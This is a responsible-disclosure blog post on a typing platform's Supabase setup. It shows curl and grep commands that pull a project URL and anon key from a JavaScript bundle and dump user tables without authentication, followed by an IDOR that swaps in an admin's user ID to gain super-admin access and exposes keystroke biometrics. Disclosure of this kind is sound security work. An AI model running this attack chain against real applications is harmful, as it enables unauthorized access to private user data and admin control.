Step 1: Read the Bundle
I was interested in signing up for the platform, but it required an early access code. I typed in a bogus code and noticed zero network requests. Verification was client-side only. I checked the network tab, saw a 1.2MB JS bundle, and grepped it for the code. Instead, I found Supabase.
curl -sL "https://codetyper.in/assets/index-[HASH].js" -o bundle.js
wc -c bundle.js
# ~1.2 MB in size
# Supabase project URL
grep -oP 'const PS="[^"]+"' bundle.js
# Output: const PS="https://saqel..."
# Anon key (public, but opens the DB door)
grep -oP 'sb_publishable_[^"]+' bundle.js
# Output: sb_publishable_7uDF...
# Tables referenced in client queries
grep -oP 'U\.from\("[^"]+"\)' bundle.js | sort -u
# U.from("admins")
# U.from("blog_posts")
# U.from("changelogs")
# U.from("ghost_recordings")
# U.from("keystroke_events")
# U.from("leaderboard_entries")
# U.from("profiles")
# U.from("sessions")
# ...
Reward: Supabase URL, anon key, and a full table map.
Step 2: Dump the Database (No Auth Required)
With the anon key, I queried tables that should have required authentication.
Profiles Table
curl -sL "https://saqel.../rest/v1/profiles?select=*" \
-H "apikey: sb_publishable_7uDF..."
Output (truncated):
[
{"id":"d.3c8cb9-...","username":"iamdark...","profile_public":true},
{"id":"c6e.7863-...","username":"ragecod...","profile_public":true},
{"id":"1.9f3e9e-...","username":"m.as....","profile_public":false},
... 50 more records
]
Result: All 53 user profiles returned, including users with profile_public=false.
Sessions Table
curl -sL "https://saqel.../rest/v1/sessions?select=*&limit=2" \
-H "apikey: sb_publishable_7uDF..."
Output:
[
{"id":"ff5eaf89-...","user_id":"bef5f...","gross_wpm":158.0,
"accuracy":13.8,"deft_score":8.0,"duration_ms":45134},
...
]
Returned user IDs, WPM, accuracy, and duration. These user IDs enabled the IDOR attack in Step 4.
Step 3: Identify an Admin
The admins table itself had RLS enabled, but the leaked profiles data gave enough metadata to infer admin identities based on activity patterns and account age. From the profile dump, I extracted a high-confidence admin user ID.
Admin user ID: f1f55801-...
My own test account (now deleted):
Attacker user ID: ed1a1746-...
Step 4: IDOR, the path to becoming an admin
The app checks admin privileges client-side like this:
U.from("admins").select("*").eq("user_id", r.user.id).maybeSingle()
It queries the admins table using the user ID from the Supabase session object. The problem: the app trusts the client-supplied user ID without server-side validation.
The Exploit
- Log in as a normal user (attacker_test) and obtain a valid session.
- Intercept the authenticated request to
/adminusing Burp Suite Community Edition. - In the request context, the app builds the query using
r.user.id. By substituting my user ID (ed1a1746-...) with the admin's user ID (f1f55801-...), the query becomes:U.from("admins").select("*").eq("user_id", "f1f55801-...").maybeSingle() - The DB returns the admin's role record (
super). - The app sets
isSuper = true. - Full admin panel access granted.
Impact: Read/write access to all user data, blog posts, changelogs, roadmap items, sessions, and admin user management.
Severity: Critical (CVSS 9.7)
Step 5: Biometric Data Exposure
The bundle referenced two sensitive tables:
// keystroke_events
.select("expected_key, key, is_error, time_since_last_ms, session_id")
.insert(m.slice(w, w+500)) // batches of 500
// ghost_recordings
.insert({
session_id: u.id,
snippet_id: a.id,
user_id: s.user.id,
recording_json: { keystrokes: d },
deft_score: r.deftScore,
gross_wpm: r.grossWpm,
accuracy: r.grossAccuracy
})
keystroke_events stores every key press and millisecond timing between them.
ghost_recordings stores full replay data including the actual code snippet content.
With the RLS bypass confirmed, these were accessible without authentication.
Severity: Critical. Biometric data exposure.
The Full Chain
1. curl the JS bundle → URL, key, table names
2. curl profiles table → 53 user records + 1 admin ID
3. Register account → valid JWT session
4. Intercept /admin request → swap user_id for admin_id
5. Query admins table → returns "super" role
6. Access /admin/* → full dashboard control
7. Query keystroke_events → download typing biometrics
Vendor Response
The team responded promptly and professionally. Here's a brief snippet of their response:
"Thank you again for taking the time to conduct this assessment and practice responsible disclosure. I'm writing to let you know that we have deployed a comprehensive security patch, and the critical vulnerabilities you outlined have been remediated."
If you're reading this, all vulnerabilities described here have been remediated.
Disclosure Timeline
| Date | Milestone |
|---|---|
| April 17, 2026 | Initial passive reconnaissance |
| April 18, 2026 | Active testing; RLS bypass and IDOR confirmed |
| April 19, 2026 | Deep bundle analysis; findings reported to vendor |
| April 20, 2026 | Vendor confirms patches deployed |
| April 21, 2026 | Write-up published |
TL;DR
- RLS was off. 53 user profiles and sessions were readable by anyone with the anon key. (Leaderboards are public by design, so that is not an issue.)
- IDOR in the admin check. Swapping my user ID for an admin's ID in the Supabase query granted super-admin access.
- Biometric data leaked. Keystroke timing and ghost recordings were accessible without authentication.
- Fix: Proper RLS + server-side authorization checks.
All sensitive information was redacted. Testing performed with explicit authorization. No data was modified or destroyed. In the event that I missed something, please contact me by one of the methods on the main page of my site.
← Back to blog · btea.dev